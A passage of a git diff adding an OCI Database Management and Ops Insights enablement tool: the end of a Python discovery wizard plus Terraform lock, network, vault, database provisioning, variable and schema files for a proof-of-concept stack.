re.findall(r"allow\s+group\s+(?!id\s)(.+?)\s+to\s+", statements, flags=re.IGNORECASE) + if "/" not in group + } + resolved_ids: set[str] = set() + for group_id in re.findall(r"allow\s+group\s+id\s+(ocid1\.group[^\s]+)\s+to\s+", statements, flags=re.IGNORECASE): + try: + group = oci.get_group(group_id) + except Exception: # noqa: BLE001 - keep valid policy syntax as fallback + resolved_ids.add(f"id {group_id}") + continue + name = str(group.get("name") or group.get("display-name") or "").strip() + resolved_ids.add(name or f"id {group_id}") + return sorted(named_groups | resolved_ids) + + +def _select(prompt: str, items: list[dict[str, object]]) -> dict[str, object] | None: + choices = _active(items) + if not choices: + return None + print(prompt) + for index, item in enumerate(choices, start=1): + print(f" {index}. {_label(item)}") + while True: + value = _ask("Select number or leave blank for manual entry") + if not value: + return None + normalized = value.lstrip("\\") + if not normalized.isdigit(): + print("Invalid selection. Enter a number from the list, or leave blank for manual entry.") + continue + selected_index = int(normalized) - 1 + if 0 <= selected_index < len(choices): + return choices[selected_index] + print("Selection out of range. Enter a number from the list, or leave blank for manual entry.") + + +def _select_id(prompt: str, items: list[dict[str, object]], manual_prompt: str) -> str: + selected = _select(prompt, items) + return str(selected.get("id")) if selected and selected.get("id") else _ask(manual_prompt) + + +def _service_name(record: dict[str, object], fallback: str = "ORCLPDB1") -> str: + # Canonical connection-string parse lives in conn.service_name_from_record; + # the wizard adds a name-field fallback so it always yields a usable default. + return service_name_from_record(record) or str( + record.get("pdb-name") or record.get("db-name") or record.get("display-name") or fallback + ) + + +def _target_name(record: dict[str, object], fallback: str) -> str: + return str(record.get("pdb-name") or record.get("display-name") or record.get("name") or record.get("db-name") or fallback) + + +def _pdb_parent_id(record: dict[str, object]) -> str | None: + for key in ("container-database-id", "database-id", "cdb-id", "parent-database-id"): + value = record.get(key) + if value: + return str(value) + return None + + +def _discover_cloud_databases(compartments: list[dict[str, object]], oci: OciCli) -> list[dict[str, object]]: + discovered: list[dict[str, object]] = [] + for compartment in compartments: + compartment_id = str(compartment.get("id") or "") + compartment_name = str(compartment.get("name") or compartment.get("display-name") or compartment_id) + for system in _safe_discover("DB systems", lambda cid=compartment_id: oci.list_db_systems(cid)): + system_id = str(system.get("id") or "") + system_name = str(system.get("display-name") or system.get("name") or "") + for database in _safe_discover( + f"databases in {system_name or system_id}", + lambda cid=compartment_id, sid=system_id: oci.list_databases(cid, sid), + ): + discovered.append( + _append_extra( + { + **database, + "_compartment_id": compartment_id, + "_compartment_name": compartment_name, + "_db_system_id": system_id, + "_database_role": "CDB", + "_default_service_name": _service_name(database), + }, + f"(compartment: {compartment_name}; DB system: {system_name})" + if system_name + else f"(compartment: {compartment_name})", + ) + ) + return discovered + + +def _discover_target_choices(kind: str, compartments: list[dict[str, object]], oci: OciCli) -> list[dict[str, object]]: + if kind in {"dbcs", "exadata"}: + return _discover_cloud_databases(compartments, oci) + if kind == "autonomous": + return _discover_across_compartments( + "Autonomous Databases", compartments, lambda cid: oci.list_autonomous_databases(cid) + ) + return [] + + +def _list_optional( + oci: OciCli | None, description: str, callback: Callable[[], list[dict[str, object]]] +) -> list[dict[str, object]]: + return _safe_discover(description, callback) if oci else [] + + +def _discover_pdb_targets(cdb: Target, compartment_id: str, oci: OciCli) -> list[Target]: + """Offer to add the CDB's pluggable databases as PDB targets. + + PDB targets inherit the CDB's private endpoint, Vault secret, and monitoring + user, and link back to the parent via parent_cdb_id so enablement can order + the container database first. + """ + + if not _ask_bool("Discover pluggable databases (PDBs) for this CDB?", False): + return [] + discovered = _safe_discover("pluggable databases", lambda: oci.list_pluggable_databases(compartment_id)) + linked = [pdb for pdb in discovered if _pdb_parent_id(pdb) == cdb.resource_id] + # Some OCI list payloads omit parent metadata; in that case preserve manual + # compatibility and show the full compartment list. + pdbs = linked if linked else discovered + targets: list[Target] = [] + for pdb in pdbs: + pdb_name = str(pdb.get("pdb-name") or pdb.get("display-name") or "pdb") + if not _ask_bool(f"Add PDB '{pdb_name}' as a target?", True): + continue + targets.append( + Target( + kind=cdb.kind, + name=f"{cdb.name}-{pdb_name}", + compartment_id=compartment_id, + resource_id=str(pdb.get("id")) if pdb.get("id") else None, + service_name=pdb_name, + monitoring_user=cdb.monitoring_user, + password_secret_id=cdb.password_secret_id, + private_endpoint_id=cdb.private_endpoint_id, + opsi_private_endpoint_id=cdb.opsi_private_endpoint_id, + # Inherit the parent's pillar selection, DB system, and Data Safe PE + # so PDB targets register the same services as their CDB. + db_system_id=cdb.db_system_id, + data_safe_private_endpoint_id=cdb.data_safe_private_endpoint_id, + services=cdb.services, + database_role="PDB", + parent_cdb_id=cdb.resource_id, + ) + ) + return targets + + +def _discover_profile_tenancy(oci: OciCli | None) -> str | None: + discovered_tenancy = None + if oci and hasattr(oci, "profile_tenancy"): + try: + discovered_tenancy = oci.profile_tenancy() + except Exception as exc: # noqa: BLE001 - keep manual tenancy entry as fallback + print(f"Could not discover profile tenancy: {exc}") + if discovered_tenancy: + print("Tenancy OCID: using OCI profile tenancy") + return str(discovered_tenancy) + return None + + +def _plan_identity( + oci: OciCli | None, +) -> tuple[str, str, list[dict[str, object]], str]: + tenancy_id = _discover_profile_tenancy(oci) or _ask("Tenancy OCID") + compartments = _list_optional(oci, "compartments", lambda: oci.list_compartments(tenancy_id)) + selected_compartment = _select("Accessible compartments:", compartments) + compartment_id = str(selected_compartment.get("id")) if selected_compartment else _ask("Target compartment OCID") + search_compartments = _search_scope(selected_compartment, compartment_id, compartments) + policy_group_name = _discover_policy_group(oci, tenancy_id, search_compartments) + return tenancy_id, compartment_id, search_compartments, policy_group_name + + +def _plan_network( + oci: OciCli | None, + compartment_id: str, + search_compartments: list[dict[str, object]], +) -> NetworkSelection: + existing_vcns = _discover_across_compartments("VCNs", search_compartments, lambda cid: oci.list_vcns(cid)) if oci else [] + create_network = _ask_bool("Create a PoC VCN/subnet?", not bool(_active(existing_vcns))) + vcn_id = None + subnet_id = None + if not create_network: + selected_vcn = _select("Available VCNs:", existing_vcns) + vcn_id = str(selected_vcn.get("id")) if selected_vcn and selected_vcn.get("id") else _ask("Existing VCN OCID") + vcn_compartment_id = str((selected_vcn or {}).get("_compartment_id") or compartment_id) + subnets = _list_optional(oci, "subnets", lambda: oci.list_subnets(vcn_compartment_id, vcn_id)) + subnet_id = _select_id("Available subnets:", subnets, "Existing private subnet OCID") + return NetworkSelection( + create_test_network=create_network, + vcn_id=vcn_id, + subnet_id=subnet_id, + ) + + +def _plan_vault( + oci: OciCli | None, + compartment_id: str, + search_compartments: list[dict[str, object]], +) -> VaultSelection: + create_vault = _ask_bool("Create a PoC Vault/key?", False) + vault_id = None + key_id = None + if not create_vault: + vaults = _discover_across_compartments("Vaults", search_compartments, lambda cid: oci.list_vaults(cid)) if oci else [] + selected_vault = _select("Available Vaults:", vaults) + vault_id = str(selected_vault.get("id")) if selected_vault else _ask("Existing Vault OCID") + vault_compartment_id = str((selected_vault or {}).get("_compartment_id") or compartment_id) + endpoint = str(selected_vault.get("management-endpoint") or "") if selected_vault else "" + keys = _list_optional(oci, "Vault keys", lambda: oci.list_keys(vault_compartment_id, endpoint)) if endpoint else [] + key_id = _select_id("Available Vault keys:", keys, "Existing Key OCID") + return VaultSelection( + create_vault=create_vault, + vault_id=vault_id, + key_id=key_id, + ) + + +def _prompt_target_draft( + kind: str, + provision: bool, + compartment_id: str, + discovered: list[dict[str, object]], +) -> _TargetDraft: + selected_target = _select("Discovered matching targets:", discovered) + default_name = _target_name(selected_target or {}, kind) + name = _ask("Target display name", default_name) + resource_id = None if provision else str(selected_target.get("id")) if selected_target else _ask("Existing database/resource OCID") + target_compartment_id = str((selected_target or {}).get("_compartment_id") or compartment_id) + service_name = ( + None + if kind == "autonomous" + else _ask("Database service name", str((selected_target or {}).get("_default_service_name") or "ORCLPDB1")) + ) + monitoring_user = _ask("Monitoring username", "DBSNMP") + return _TargetDraft( + kind=kind, + name=name, + provision=provision, + selected=selected_target, + compartment_id=target_compartment_id, + resource_id=resource_id, + service_name=service_name, + monitoring_user=monitoring_user or None, + ) + + +def _select_dbcs_endpoints( + kind: str, + oci: OciCli | None, + search_compartments: list[dict[str, object]], +) -> tuple[str, str, str]: + if kind not in {"dbcs", "exadata"}: + return "", "", "" + secrets = _discover_across_compartments("Vault secrets", search_compartments, lambda cid: oci.list_secrets(cid)) if oci else [] + password_secret_id = _select_id( + "Available password secrets:", + secrets, + "Password secret OCID (leave blank if provision step will create it)", + ) + dbm_endpoints = ( + _discover_across_compartments( + "DB Management private endpoints", + search_compartments, + lambda cid: oci.list_db_management_private_endpoints(cid), + ) + if oci + else [] + ) + private_endpoint_id = _select_id( + "Available DB Management private endpoints:", + dbm_endpoints, + "DB Management private endpoint OCID (leave blank if provision step will create it)", + ) + opsi_endpoints = _discover_opsi_private_endpoints(oci, search_compartments) + opsi_private_endpoint_id = _select_id( + "Available Ops Insights private endpoints:", + opsi_endpoints, + "Ops Insights private endpoint OCID (leave blank if provision step will create it)", + ) + return password_secret_id, private_endpoint_id, opsi_private_endpoint_id + + +def _discover_opsi_private_endpoints( + oci: OciCli | None, + search_compartments: list[dict[str, object]], +) -> list[dict[str, object]]: + if not oci: + return [] + return _discover_across_compartments( + "Ops Insights private endpoints", + search_compartments, + lambda cid: oci.list_opsi_private_endpoints(cid), + ) + + +def _select_data_safe_endpoint( + oci: OciCli | None, + services: tuple[Service, ...], + search_compartments: list[dict[str, object]], +) -> str: + endpoints = ( + _discover_across_compartments( + "Data Safe private endpoints", + search_compartments, + lambda cid: oci.list_data_safe_private_endpoints(cid), + ) + if oci + else [] + ) + if "datasafe" not in services: + return "" + return _select_id( + "Available Data Safe private endpoints:", + endpoints, + "Data Safe private endpoint OCID (leave blank to create during enable)", + ) + + +def _select_endpoints( + draft: _TargetDraft, + oci: OciCli | None, + search_compartments: list[dict[str, object]], +) -> tuple[_EndpointSelections, tuple[Service, ...]]: + password_secret_id, private_endpoint_id, opsi_private_endpoint_id = _select_dbcs_endpoints( + draft.kind, oci, search_compartments + ) + services = _ask_services() + data_safe_private_endpoint_id = _select_data_safe_endpoint(oci, services, search_compartments) + return ( + _EndpointSelections( + password_secret_id=password_secret_id, + private_endpoint_id=private_endpoint_id, + opsi_private_endpoint_id=opsi_private_endpoint_id, + data_safe_private_endpoint_id=data_safe_private_endpoint_id, + ), + services, + ) + + +def _database_metadata(draft: _TargetDraft) -> tuple[str | None, str]: + if draft.kind in {"dbcs", "exadata"} and draft.selected: + return str(draft.selected.get("_db_system_id") or ""), str(draft.selected.get("_database_role") or "CDB") + return None, "CDB" + + +def _external_metadata(kind: str) -> tuple[str | None, str | None]: + if not kind.startswith("external"): + return None, None + external_host = _ask("External database host") + external_os = _ask("External host OS (linux/windows/solaris/aix)", "linux") + return external_host, external_os + + +def _build_target( + draft: _TargetDraft, + endpoints: _EndpointSelections, + services: tuple[Service, ...], +) -> Target: + db_system_id, database_role = _database_metadata(draft) + external_host, external_os = _external_metadata(draft.kind) + return Target( + kind=draft.kind, # type: ignore[arg-type] + name=draft.name, + compartment_id=draft.compartment_id, + resource_id=draft.resource_id or None, + service_name=draft.service_name or None, + monitoring_user=draft.monitoring_user, + password_secret_id=endpoints.password_secret_id or None, + private_endpoint_id=endpoints.private_endpoint_id or None, + opsi_private_endpoint_id=endpoints.opsi_private_endpoint_id or None, + db_system_id=db_system_id, + data_safe_private_endpoint_id=endpoints.data_safe_private_endpoint_id or None, + services=services, + database_role=database_role, # type: ignore[arg-type] + provision=draft.provision, + external_host=external_host or None, + external_os=external_os or None, # type: ignore[arg-type] + ) + + +def _prompt_target( + oci: OciCli | None, + compartment_id: str, + search_compartments: list[dict[str, object]], +) -> Target: + kind = _ask("Target kind (dbcs/autonomous/exadata/external-db/external-exadata)", "dbcs") + provision = _ask_bool("Provision this target from zero?", False) + discovered = _discover_target_choices(kind, search_compartments, oci) if not provision and oci else [] + draft = _prompt_target_draft(kind, provision, compartment_id, discovered) + endpoints, services = _select_endpoints(draft, oci, search_compartments) + return _build_target(draft, endpoints, services) + + +def _plan_target( + oci: OciCli | None, + compartment_id: str, + search_compartments: list[dict[str, object]], +) -> list[Target]: + targets: list[Target] = [] + while _ask_bool("Add a target?", len(targets) == 0): + target = _prompt_target(oci, compartment_id, search_compartments) + targets.append(target) + if target.kind in {"dbcs", "exadata"} and not target.provision and oci: + targets.extend(_discover_pdb_targets(target, target.compartment_id or compartment_id, oci)) + return targets + + +def run_wizard(profile: str, region: str, oci: OciCli | None = None) -> EnablementConfig: + tenancy_id, compartment_id, search_compartments, policy_group_name = _plan_identity(oci) + network = _plan_network(oci, compartment_id, search_compartments) + vault = _plan_vault(oci, compartment_id, search_compartments) + targets = _plan_target(oci, compartment_id, search_compartments) + return EnablementConfig( + profile=profile, + region=region, + tenancy_id=tenancy_id, + compartment_id=compartment_id, + network=network, + vault=vault, + targets=tuple(targets), + policy_group_name=policy_group_name, + dry_run=True, + ) diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/.terraform.lock.hcl b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/.terraform.lock.hcl new file mode 100644 index 000000000..6a6b9b819 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/.terraform.lock.hcl @@ -0,0 +1,46 @@ +# This file is maintained automatically by "terraform init". +# Manual edits may be lost in future updates. + +provider "registry.terraform.io/hashicorp/null" { + version = "3.3.0" + constraints = ">= 3.2.0" + hashes = [ + "h1:a14TKo7Xvg4W8+H1VA6p+oLZTLxVQnYUD8LOaOs14A8=", + "zh:021748b5ea3b5f6956f2e75c42c5cdc113b391fb98ac71364a4965d23b37000f", + "zh:3b27956f8541d46704fda234e0d535c2ae2a4b33411848b1ee262a1ec03568b0", + "zh:3de4ed47d6d0f4d8edba4a5092c7c9799950eda63989d8d0d2586e6afcb0aa20", + "zh:57ed8935c7d56dbc91cf2673534582cacfaab7a2f105f51d9f797e99df0c0c47", + "zh:58e176ba1d142827089e30e0711e007309a9f2726e8881986da5026e9778fdf4", + "zh:5949c4a3d4a93f841f155cdb7e991c087e637145c1630572e21948224f8f4923", + "zh:76d60f366b743003c1b085afa769b45b2198ee919927e45807d7d44fb42c067d", + "zh:78d5eefdd9e494defcb3c68d282b8f96630502cac21d1ea161f53cfe9bb483b3", + "zh:79cd1bab1261a07f84e917191d7ddc4340ac5f5524283767256f7ffd7f87caf0", + "zh:8ec9083038cf710b30e319eaa467c9df7fa52bbd9969b61053a35bc2cdd2e0a6", + "zh:a6e502cb579685ab7aeb886c2bb11ddd9cfed74b41008592d57cbc3351a9218b", + "zh:acb74d6b4f66ff6acfcda315df802a7432170ef3955c9b432cb4580767004006", + "zh:f0ce55d8d9ffdb33dab612b1246f9bab060a9d54fc32ce2b4a038646155660af", + ] +} + +provider "registry.terraform.io/oracle/oci" { + version = "8.16.0" + constraints = ">= 6.0.0" + hashes = [ + "h1:ra1G+iYL3LLwvTq26qT1XNtsqQwz0Fg0qGS1I01jvx0=", + "zh:0adfa358bfc0670e02a8ca9fce1c5802ecd458546abfc6e8829a9008a95982dc", + "zh:178abd014300bf7cd02d9c35a60c83cfa2fa6565435e83d66fb65d2561cdc6bf", + "zh:19be7928e1a8e74e648c1cc164853e329fc8cc90b9cd472bb439dd8a66c4f5ee", + "zh:3d9b969be7e95965d79916a5555a94c36ad6662ea53c721909f020ad50b13400", + "zh:4ae2c06eb64f13d717ffb78c69d04c0de043adc5c7c0e7fb445b414bc645b5f7", + "zh:4c060bde6b60fc82807861c43fafba70c1f1d6b62ec499b4b5bc171dfc5bb729", + "zh:6df9441d856da5edfeffb788712e0366a0e2e891e949ca56e6f6031a8c12de53", + "zh:81ef3c7fdf22c81237a2b21fe269a84bd4e31daf642dc5293ce00943e2f196ad", + "zh:834708ee78a87cf8e4a4d2b0eac55ff42e05a1f7f144b145e8d8664ae3d05f8f", + "zh:9387f0eca6b6a23906829959c043c37b707b844ba522d8768ad02ff58c608fcd", + "zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425", + "zh:b1ad6ebb5a79255b6a24e5f473581b6e7bc9585ab9e9f772d582ea9c7f239ddf", + "zh:d3785d061d453a23db571919fbc9bab46fe328f23ff91a89f60954227f48ef09", + "zh:e0d263059f5f71fa01a781aff7aaa237e4e6bc19d6df9f3846ac9964a55ebbeb", + "zh:f8ae912fdef779de5fbaae0771c0bf5bbb414cc2085e537088b6a8f5afad6fac", + ] +} diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/main.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/main.tf new file mode 100644 index 000000000..3ef85118c --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/main.tf @@ -0,0 +1,199 @@ +resource "oci_identity_policy" "dbman_opsi" { + count = var.create_identity_policy ? 1 : 0 + compartment_id = var.tenancy_ocid + name = var.policy_name + description = var.policy_description + statements = var.policy_statements +} + +resource "oci_core_vcn" "test" { + count = var.create_test_network ? 1 : 0 + compartment_id = var.compartment_ocid + cidr_block = var.test_vcn_cidr + display_name = "dbman-opsi-vcn" + dns_label = "dbmanopsi" +} + +# The private subnet that hosts the Database Management / Ops Insights private +# endpoints must reach OCI services. Without a Service Gateway + route rule the +# endpoints create successfully but collection silently fails. +data "oci_core_services" "all" { + count = var.create_test_network ? 1 : 0 +} + +locals { + oci_all_services = var.create_test_network ? [ + for svc in data.oci_core_services.all[0].services : + svc if can(regex("all-.*-services-in-oracle-services-network", svc.cidr_block)) + ] : [] +} + +resource "oci_core_service_gateway" "test" { + count = var.create_test_network ? 1 : 0 + compartment_id = var.compartment_ocid + vcn_id = oci_core_vcn.test[0].id + display_name = "dbman-opsi-sgw" + + services { + service_id = local.oci_all_services[0].id + } +} + +resource "oci_core_route_table" "test" { + count = var.create_test_network ? 1 : 0 + compartment_id = var.compartment_ocid + vcn_id = oci_core_vcn.test[0].id + display_name = "dbman-opsi-rt" + + route_rules { + destination = local.oci_all_services[0].cidr_block + destination_type = "SERVICE_CIDR_BLOCK" + network_entity_id = oci_core_service_gateway.test[0].id + } +} + +resource "oci_core_security_list" "test" { + count = var.create_test_network ? 1 : 0 + compartment_id = var.compartment_ocid + vcn_id = oci_core_vcn.test[0].id + display_name = "dbman-opsi-sl" + + egress_security_rules { + destination = "0.0.0.0/0" + protocol = "all" + } + + # Oracle listener ports for monitoring connections within the subnet. + ingress_security_rules { + protocol = "6" # TCP + source = var.test_subnet_cidr + + tcp_options { + min = 1521 + max = 1522 + } + } +} + +resource "oci_core_subnet" "test_private" { + count = var.create_test_network ? 1 : 0 + compartment_id = var.compartment_ocid + vcn_id = oci_core_vcn.test[0].id + cidr_block = var.test_subnet_cidr + display_name = "dbman-opsi-private-subnet" + prohibit_public_ip_on_vnic = true + dns_label = "dbmopsi" + route_table_id = oci_core_route_table.test[0].id + security_list_ids = [oci_core_security_list.test[0].id] +} + +locals { + selected_vcn_id = var.create_test_network ? oci_core_vcn.test[0].id : var.vcn_ocid + selected_subnet_id = var.create_test_network ? oci_core_subnet.test_private[0].id : var.subnet_ocid + provision_dbcs = { for target in var.targets : target.name => target if target.provision && target.kind == "dbcs" } + provision_autonomous = { for target in var.targets : target.name => target if target.provision && target.kind == "autonomous" } +} + +resource "oci_database_management_db_management_private_endpoint" "dbmgmt" { + compartment_id = var.compartment_ocid + name = "dbman_opsi_dbmgmt_pe" + subnet_id = local.selected_subnet_id + description = "Database Management private endpoint for dbman-opsi PoC." +} + +resource "oci_kms_vault" "test" { + count = var.create_vault ? 1 : 0 + compartment_id = var.compartment_ocid + display_name = "dbman-opsi-vault" + vault_type = "DEFAULT" +} + +resource "oci_database_db_system" "dbcs" { + for_each = local.provision_dbcs + compartment_id = var.compartment_ocid + availability_domain = data.oci_identity_availability_domains.ads.availability_domains[var.availability_domain_index].name + subnet_id = local.selected_subnet_id + display_name = each.value.name + shape = var.dbcs_shape + database_edition = "ENTERPRISE_EDITION" + ssh_public_keys = var.ssh_public_keys + license_model = "LICENSE_INCLUDED" + node_count = 1 + # When the subnet has no DNS label, the DB system launch requires an explicit + # network domain ("domain name cannot be null"). Reuse the subnet's existing + # DB domain. null lets the provider derive it from a DNS-enabled subnet. + domain = var.dbcs_domain + # Flex shapes (e.g. VM.Standard.E4.Flex) require an explicit core count, and a + # VM DB system requires a data storage size. Without these, apply fails with a + # missing-required-attribute error. + cpu_core_count = var.dbcs_cpu_core_count + data_storage_size_in_gb = var.dbcs_data_storage_gb + hostname = substr(replace(lower(each.value.name), "/[^a-z0-9]/", ""), 0, 12) + + db_home { + db_version = var.db_version + display_name = "${each.value.name}-home" + + database { + db_name = substr(replace(each.value.name, "-", ""), 0, 8) + admin_password = var.db_admin_password + character_set = "AL32UTF8" + ncharacter_set = "AL16UTF16" + } + } +} + +resource "oci_database_autonomous_database" "adb" { + for_each = local.provision_autonomous + compartment_id = var.compartment_ocid + display_name = each.value.name + db_name = substr(replace(each.value.name, "-", ""), 0, 14) + admin_password = var.adb_admin_password + compute_count = var.adb_compute_count + compute_model = "ECPU" + data_storage_size_in_tbs = var.adb_storage_tbs + db_workload = "OLTP" + is_free_tier = false +} + +data "oci_identity_availability_domains" "ads" { + compartment_id = var.tenancy_ocid +} + +output "vcn_ocid" { + value = local.selected_vcn_id +} + +output "subnet_ocid" { + value = local.selected_subnet_id +} + +output "db_management_private_endpoint_ocid" { + value = oci_database_management_db_management_private_endpoint.dbmgmt.id +} + +output "service_gateway_ocid" { + value = var.create_test_network ? oci_core_service_gateway.test[0].id : null +} + +output "provisioned_dbcs_ids" { + value = { for name, system in oci_database_db_system.dbcs : name => system.id } +} + +output "provisioned_autonomous_database_ids" { + value = { for name, database in oci_database_autonomous_database.adb : name => database.id } +} + +# Optional DBM + OPSI enablement (modular, off by default). service_name/host_ip +# are runtime-discovered, so populate var.observability_targets after the DB is up. +module "observability" { + count = var.enable_observability ? 1 : 0 + source = "../../modules/dbm-opsi-enablement" + + compartment_id = var.compartment_ocid + dbm_private_endpoint_id = oci_database_management_db_management_private_endpoint.dbmgmt.id + opsi_private_endpoint_id = var.opsi_private_endpoint_id + password_secret_id = var.dbsnmp_secret_id + enable_ops_insights = var.opsi_private_endpoint_id != null + targets = var.observability_targets +} diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/schema.yaml b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/schema.yaml new file mode 100644 index 000000000..1b4628943 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/schema.yaml @@ -0,0 +1,83 @@ +title: OCI DB Management and Ops Insights Enablement +description: Resource Manager stack for enabling OCI Database Management and Operations Insights prerequisites. +schemaVersion: 1.1.0 +version: "20260603" +locale: en + +variableGroups: + - title: Required OCI Scope + variables: + - tenancy_ocid + - compartment_ocid + - region + - title: Network + variables: + - create_test_network + - vcn_ocid + - subnet_ocid + - test_vcn_cidr + - test_subnet_cidr + - title: Optional Targets + variables: + - targets + - ssh_public_keys + +variables: + tenancy_ocid: + title: Tenancy OCID + type: oci_tenancy + required: true + + compartment_ocid: + title: Target Compartment + type: oci_compartment + required: true + + region: + title: Region + type: oci_region + required: true + + create_test_network: + title: Create Workshop Network + type: boolean + default: true + + vcn_ocid: + title: Existing VCN OCID + type: oci_vcn + required: false + dependsOn: + create_test_network: false + + subnet_ocid: + title: Existing Private Subnet OCID + type: oci_subnet + required: false + dependsOn: + create_test_network: false + + test_vcn_cidr: + title: Workshop VCN CIDR + type: string + default: 10.44.0.0/16 + + test_subnet_cidr: + title: Workshop Private Subnet CIDR + type: string + default: 10.44.10.0/24 + + targets: + title: Target Descriptor List + type: text + multiline: true + required: false + description: JSON target descriptors generated by dbman-opsi. Keep credentials in Vault or environment variables, not in this field. + + ssh_public_keys: + title: SSH Public Keys + type: array + items: + type: string + required: false + diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/variables.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/variables.tf new file mode 100644 index 000000000..5271bd142 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/variables.tf @@ -0,0 +1,205 @@ +variable "tenancy_ocid" { + type = string + description = "OCI tenancy OCID." +} + +variable "compartment_ocid" { + type = string + description = "OCI compartment OCID for PoC resources." +} + +variable "region" { + type = string + description = "OCI region." +} + +variable "create_test_network" { + type = bool + description = "Create a PoC VCN/subnet." + default = false +} + +variable "vcn_ocid" { + type = string + description = "Existing VCN OCID." + default = null +} + +variable "subnet_ocid" { + type = string + description = "Existing subnet OCID." + default = null +} + +variable "test_vcn_cidr" { + type = string + description = "PoC VCN CIDR." + default = "10.44.0.0/16" +} + +variable "test_subnet_cidr" { + type = string + description = "PoC private subnet CIDR." + default = "10.44.10.0/24" +} + +variable "create_vault" { + type = bool + description = "Create a PoC vault/key." + default = false +} + +variable "vault_ocid" { + type = string + description = "Existing vault OCID." + default = null +} + +variable "key_ocid" { + type = string + description = "Existing key OCID." + default = null +} + +variable "policy_name" { + type = string + description = "IAM policy name." +} + +variable "policy_description" { + type = string + description = "IAM policy description." +} + +variable "policy_statements" { + type = list(string) + description = "IAM policy statements." +} + +variable "create_identity_policy" { + type = bool + description = "Create the IAM policy for DBM/OPSI enablement. Set false when an existing operator/group policy is managed outside this stack." + default = true +} + +variable "targets" { + type = list(object({ + kind = string + name = string + resource_id = optional(string) + provision = bool + management_type = string + })) + description = "Database targets selected by the wizard." + default = [] +} + +variable "ssh_public_keys" { + type = list(string) + description = "SSH public keys for provisioned DBCS VM DB systems." + default = [] +} + +variable "db_admin_password" { + type = string + description = "Admin password for provisioned DBCS databases. Pass through TF_VAR_db_admin_password." + sensitive = true + default = null +} + +variable "adb_admin_password" { + type = string + description = "Admin password for provisioned Autonomous Databases. Pass through TF_VAR_adb_admin_password." + sensitive = true + default = null +} + +variable "dbcs_shape" { + type = string + description = "DBCS shape for zero-start PoC provisioning." + default = "VM.Standard.E4.Flex" +} + +variable "db_version" { + type = string + description = "Oracle Database version for provisioned DBCS systems." + default = "19.0.0.0" +} + +variable "adb_compute_count" { + type = number + description = "ECPU/core count for provisioned Autonomous Databases." + default = 2 +} + +variable "adb_storage_tbs" { + type = number + description = "Storage in TB for provisioned Autonomous Databases." + default = 1 +} + +# --- Optional: enable DBM + OPSI on databases provisioned/known to this stack --- +variable "enable_observability" { + type = bool + description = "Call the dbm-opsi-enablement module to enable DBM/OPSI on observability_targets." + default = false +} + +variable "dbsnmp_secret_id" { + type = string + description = "Vault secret OCID holding the DBSNMP password (required when enable_observability=true)." + default = null +} + +variable "opsi_private_endpoint_id" { + type = string + description = "OPSI private endpoint OCID. When null, only DBM (not Ops Insights) is enabled." + default = null +} + +variable "observability_targets" { + description = <<-EOT + Targets for DBM/OPSI enablement, keyed by short name. service_name and host_ip + are runtime-discovered (lsnrctl / DB node IP), so they are supplied here after + the database is up rather than derived from Terraform attributes. + EOT + type = map(object({ + database_id = string + database_role = string + database_resource_type = string # "database" | "pluggabledatabase" + service_name = string + host_ip = string + management_type = optional(string, "ADVANCED") + })) + default = {} +} + +variable "dbcs_cpu_core_count" { + description = "OCPU core count for a provisioned Flex-shape DB system." + type = number + default = 1 +} + +variable "dbcs_data_storage_gb" { + description = "Data storage (GB) for a provisioned VM DB system. Minimum 256." + type = number + default = 256 +} + +variable "config_file_profile" { + description = "OCI CLI config profile (~/.oci/config) the provider authenticates with." + type = string + default = "DEFAULT" +} + +variable "availability_domain_index" { + description = "Index into the region's availability domains for provisioned DB systems (0-based). Pin to an AD with DB block-storage headroom." + type = number + default = 0 +} + +variable "dbcs_domain" { + description = "Network domain for a provisioned DB system. Required when the subnet has no DNS label. null derives it from a DNS-enabled subnet." + type = string + default = null +} diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/versions.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/versions.tf new file mode 100644 index 000000000..e6469f18a --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/examples/zero-start-poc/versions.tf @@ -0,0 +1,18 @@ +terraform { + required_version = ">= 1.5.0" + + required_providers { + oci = { + source = "oracle/oci" + version = ">= 6.0.0" + } + } +} + +provider "oci" { + region = var.region + # Use a named ~/.oci/config profile (e.g. "cap" staging) so plan/apply run in the + # intended tenancy. Defaults to DEFAULT; override via the config_file_profile var. + config_file_profile = var.config_file_profile +} + diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/README.md b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/README.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/main.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/main.tf new file mode 100644 index 000000000..f778724f6 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/main.tf @@ -0,0 +1,167 @@ +# Modular DBM + Ops Insights enablement. +# +# Each capability is gated by its own toggle and driven by for_each over the +# `targets` map, so adding a target or turning a feature off is a no-destroy +# change to the others. New capabilities should be added as additional, +# independently-gated resource blocks here. + +locals { + dbm_targets = var.enable_database_management ? var.targets : {} + opsi_targets = var.enable_ops_insights && var.opsi_private_endpoint_id != null ? var.targets : {} + cred_targets = var.set_preferred_credentials ? var.targets : {} + data_safe_targets = var.enable_data_safe && var.data_safe_private_endpoint_id != null ? var.targets : {} + + # Cartesian product of credential targets x 